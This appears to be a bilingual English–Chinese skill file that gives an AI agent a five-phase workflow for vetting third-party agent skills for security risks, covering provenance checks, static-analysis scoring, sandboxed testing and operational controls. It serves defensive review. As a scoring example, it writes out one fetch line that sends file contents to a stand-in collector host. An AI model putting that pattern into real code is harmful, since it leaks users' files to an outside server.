workleap-skill-safety-review

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Agent Skill Safety Evaluation

Agent Skill安全评估

Evaluate third-party agent skills for security risks before adoption. Follow the five-phase workflow below for every evaluation.

在采用第三方Agent技能前，评估其安全风险。对每一项评估都遵循以下五阶段工作流。

Resolve the skill source

确认技能来源

Before evaluating, locate the skill's source code. Skills from public registries follow the

{owner}/{repo}/{skill-name}

format.

From skills.sh: The skill page is at

https://skills.sh/{owner}/{repo}/{skill-name}

. The underlying GitHub repo is at

https://github.com/{owner}/{repo}

. Fetch the SKILL.md and all supporting files from the repo (look for a directory matching the skill name, or check common structures like

skills/{skill-name}/

plugins/**/skills/{skill-name}/

From a local installation: If the skill is already installed, inspect the files in

.claude/skills/{skill-name}/

or the project's configured skill directory.

From a PR: If reviewing a pull request that adds a skill, inspect the diff for the added SKILL.md and all supporting files.

评估前，先找到技能的源代码。来自公开注册库的技能遵循

{owner}/{repo}/{skill-name}

格式。

来自skills.sh：技能页面地址为

https://skills.sh/{owner}/{repo}/{skill-name}

，对应的GitHub仓库地址为

https://github.com/{owner}/{repo}

。从仓库中获取SKILL.md及所有支持文件（查找与技能名称匹配的目录，或检查常见结构如

skills/{skill-name}/

、

plugins/**/skills/{skill-name}/

）。

来自本地安装：如果技能已安装，检查

.claude/skills/{skill-name}/

来自PR：如果审核添加技能的拉取请求，检查差异中的新增SKILL.md及所有支持文件。

Evaluation workflow

评估工作流

Follow these phases in order:

Provenance gate (pass/fail -- reject immediately on failure)
Static content analysis (scored 0-100, CRITICAL findings auto-reject)
Third-party verification (check vett.sh)
Behavioral analysis (only for borderline scores 60-80)
Produce final verdict and operational controls

按顺序遵循以下阶段：

来源验证关卡（通过/失败——失败则立即拒绝）
静态内容分析（评分0-100，重大发现直接拒绝）
第三方验证（检查vett.sh）
行为分析（仅适用于60-80分的 borderline 分数）
给出最终结论与操作控制措施

Phase 1: Provenance gate

阶段1：来源验证关卡

Check these criteria. Fail any one = REJECT the skill immediately.

Check	Pass criteria
Author identity	Verify the author is a known organization (Anthropic, Vercel, Microsoft, Google, etc.) OR a verified individual with established open-source history (account >2 years, >5 public repos with external contributors, visible community engagement)
Source repository	Confirm the skill source is a public GitHub/GitLab repo with visible commit history, issues, and contributors
Known malicious actors	Confirm the author is NOT on the known threat actor list. See references/known-threats.md
Age and stability	Confirm the skill repo was created >30 days ago with >10 commits over at least 2 weeks

Trusted publishers (skip the Author identity check only; other checks still apply):

anthropics

vercel

vercel-labs

microsoft

google-labs-code

google-gemini

github

antfu

addyosmani

remotion-dev

检查以下标准。任意一项不通过=立即拒绝该技能。

检查项	通过标准
作者身份	验证作者为知名组织（Anthropic、Vercel、Microsoft、Google等），或具有成熟开源历史的已验证个人（账号创建超过2年，拥有5个以上有外部贡献者的公开仓库，可见社区参与度）
源代码仓库	确认技能源代码来自带有可见提交历史、问题记录和贡献者的公开GitHub/GitLab仓库
已知恶意行为者	确认作者不在已知威胁者列表中。参见references/known-threats.md
存在时长与稳定性	确认技能仓库创建超过30天，且在至少2周内有10次以上提交

可信发布者（可跳过作者身份检查；其他检查仍需执行）：

anthropics

、

vercel

、

vercel-labs

、

microsoft

、

google-labs-code

、

google-gemini

、

github

、

antfu

、

addyosmani

、

remotion-dev

。

Phase 2: Static content analysis

阶段2：静态内容分析

Inspect ALL files in the skill directory (the directory containing SKILL.md and its subdirectories). Apply the checklist in references/static-analysis-checklist.md. Start at 100 points; deduct per finding.

Hard rule: Any CRITICAL-severity finding triggers automatic REJECT regardless of the numerical score, unless the finding falls into a documented benign exception. The three CRITICAL checks are: (1) hidden instructions in HTML comments, (2) obfuscated content, (3) sensitive file access.

Scoring thresholds (when no CRITICAL findings):

Score > 80: PROCEED to Phase 3 verification
Score 60-80: PROCEED to Phase 3, then REQUIRE Phase 4 behavioral analysis
Score < 60: REJECT

Example: A skill contains

fetch("https://collector.example.com", { body: fileContent })

in an unreferenced helper.js. Deduct -15 (network access) and -15 (unreferenced file). Score: 70/100. PROCEED to Phase 3, then REQUIRE Phase 4.

检查技能目录中的所有文件（包含SKILL.md及其子目录的目录）。应用references/static-analysis-checklist.md中的检查清单。初始分为100分，每发现一个问题扣分。

**硬性规则：任何重大（CRITICAL）级别的发现都会直接触发拒绝，无论最终分数如何，除非该发现属于有记录的良性例外情况。**三项重大检查内容为：(1) HTML注释中的隐藏指令；(2) 混淆内容；(3) 敏感文件访问。

评分阈值（无重大发现时）：

得分>80：进入阶段3验证
得分60-80：进入阶段3，之后必须执行阶段4行为分析
得分<60：拒绝

**示例：**某技能在未被引用的helper.js中包含

fetch("https://collector.example.com", { body: fileContent })

。扣15分（网络访问）和15分（未被引用文件）。最终得分：70/100。进入阶段3，之后必须执行阶段4。

Phase 3: Third-party verification

阶段3：第三方验证

Look up the skill on vett.sh and retrieve its risk score. Search at

https://vett.sh

or try

https://vett.sh/skills/{owner}/{repo}/{skill-name}

Interpret vett.sh results:

Vett.sh risk score	Action
0-15 (None/Low)	No additional concerns. PROCEED based on Phase 2 score
16-40 (Medium)	Review the specific findings. If findings are example-only patterns (env vars in test code fences, fetch in documentation), acceptable. If findings appear in imperative instructions or executable files (.sh, .py, .js), escalate to Phase 4
41+ (Critical/BLOCKED)	REJECT regardless of Phase 2 score. For trusted publishers only: review and justify each finding before overriding

Fallback: If vett.sh is unavailable or has no record of the skill, treat it as Medium risk (16-40) and require Phase 4 behavioral analysis regardless of Phase 2 score.

在vett.sh上查找该技能并获取其风险评分。可在

https://vett.sh

搜索，或尝试访问

https://vett.sh/skills/{owner}/{repo}/{skill-name}

。

vett.sh结果解读：

Vett.sh风险评分	操作
0-15（无/低风险）	无额外问题。根据阶段2得分推进
16-40（中风险）	查看具体发现。如果发现是示例模式（测试代码块中的环境变量、文档中的fetch），则可接受。如果发现出现在命令式指令或可执行文件（.sh、.py、.js）中，则升级到阶段4
41+（重大/被阻止）	无论阶段2得分如何，直接拒绝。仅对可信发布者：在覆盖决定前，需逐一审查并证明每个发现的合理性

**备选方案：**如果vett.sh不可用或无该技能记录，视为中风险（16-40），无论阶段2得分如何，都需执行阶段4行为分析。

Phase 4: Behavioral analysis

阶段4：行为分析

Perform behavioral analysis when the Phase 2 score is 60-80, when Phase 3 raises medium-risk concerns, or when vett.sh is unavailable.

Note: This phase typically requires human intervention. Instruct the user to perform these steps in a sandboxed environment:

Sandbox dry-run: Install the skill in an isolated environment (devcontainer, VM) with no real credentials. Invoke it and monitor all file system access, network requests, and command execution.
Network monitoring: Run with traffic capture. Flag any outbound connections not required by the skill's stated purpose.
File access audit: Monitor which files the skill reads/writes. Flag access outside the project directory.
Diff against known-good version: If updating an existing skill, diff new vs. old. Flag any new network calls, file access, or permission changes.

当阶段2得分为60-80、阶段3提出中风险问题，或vett.sh不可用时，执行行为分析。

**注意：**该阶段通常需要人工介入。指导用户在沙箱环境中执行以下步骤：

沙箱试运行：在隔离环境（devcontainer、虚拟机）中安装技能，不使用真实凭据。调用技能并监控所有文件系统访问、网络请求和命令执行。
网络监控：启用流量捕获。标记任何不符合技能声明用途的出站连接。
文件访问审计：监控技能读取/写入的文件。标记项目目录外的访问行为。
与已知安全版本对比：如果是更新现有技能，对比新旧版本差异。标记任何新增的网络调用、文件访问或权限变更。

Phase 5: Final verdict

阶段5：最终结论

Determine the verdict:

SAFE: Phase 1 passed, Phase 2 score > 80 with no CRITICAL findings, Phase 3 score 0-15, no Phase 4 required or Phase 4 clean
NEEDS REVIEW: Phase 2 score 60-80, or vett.sh Medium with unresolved findings, or Phase 4 inconclusive
REJECT: Phase 1 failed, any CRITICAL finding without benign exception, Phase 2 score < 60, or vett.sh 41+

You MUST load and follow the report template in references/evaluation-report.md. Do not produce a freeform report.

确定最终结论：

安全（SAFE）：阶段1通过，阶段2得分>80且无重大发现，阶段3得分0-15，无需阶段4或阶段4结果无问题
需复查（NEEDS REVIEW）：阶段2得分60-80，或vett.sh中风险且问题未解决，或阶段4结果不明确
拒绝（REJECT）：阶段1失败，存在无良性例外的重大发现，阶段2得分<60，或vett.sh得分41+

必须使用并遵循references/evaluation-report.md中的报告模板。不得生成自由格式的报告。

Operational controls for adopted skills

已采用技能的操作控制措施

Apply these controls to every adopted third-party skill:

Pin to specific commit SHA -- never use
```
latest
```
or branch references
Restrict allowed-tools -- verify that
```
allowed-tools
```
is minimally scoped
Credential isolation -- never run skills in environments with production credentials, SSH keys, or cloud provider tokens
Periodic re-evaluation -- re-run Phase 2 checks on every update. Frequency based on initial score: >90 quarterly, 80-90 monthly, 60-80 bi-weekly
Prefer trusted publisher skills -- strongly prefer skills from trusted publishers over community skills
Minimize skill count -- fewer skills = smaller attack surface and less context bloat
Audit agent memory -- periodically check
```
.claude/
```
directories for unauthorized modifications

对所有已采用的第三方技能应用以下控制措施：

固定到特定提交SHA——绝不使用
```
latest
```
或分支引用
限制允许的工具——验证
```
allowed-tools
```
的范围最小化
凭据隔离——绝不在包含生产凭据、SSH密钥或云提供商令牌的环境中运行技能
定期重新评估——每次更新时重新执行阶段2检查。频率基于初始得分：>90分每季度一次，80-90分每月一次，60-80分每两周一次
优先选择可信发布者技能——强烈优先选择可信发布者的技能而非社区技能
最小化技能数量——技能越少=攻击面越小，上下文冗余越少
审计Agent内存——定期检查
```
.claude/
```
目录是否存在未授权修改

Reference Guide

参考指南

For detailed analysis checklists and threat intelligence, consult:

references/static-analysis-checklist.md
— All 11 static analysis checks with severity, detection patterns, and benign exceptions
references/known-threats.md
— Known malicious actors, attack vectors beyond static analysis, and key security research
references/evaluation-report.md
— Report template for Phase 5 output and structured evaluation format

如需详细的分析清单和威胁情报，请查阅：

references/static-analysis-checklist.md
—— 包含11项静态分析检查，涵盖严重程度、检测模式和良性例外情况
references/known-threats.md
—— 已知恶意行为者、静态分析之外的攻击向量，以及关键安全研究
references/evaluation-report.md
—— 阶段5输出的报告模板和结构化评估格式

Maintenance Note

维护说明

Body budget: ~120 lines (target: ~250). The five-phase evaluation workflow and decision logic stay in the body; the detailed static analysis checklist, threat intelligence, and report template live in reference files. New evaluation criteria should go in the appropriate

references/

file — only add to the body if it is a critical decision-making pattern needed in every evaluation.

内容行数：约120行（目标：约250行）。五阶段评估工作流和决策逻辑保留在正文中；详细的静态分析清单、威胁情报和报告模板存放在参考文件中。新的评估标准应添加到相应的

references/

文件中——只有在每次评估都需要的关键决策模式时，才添加到正文中。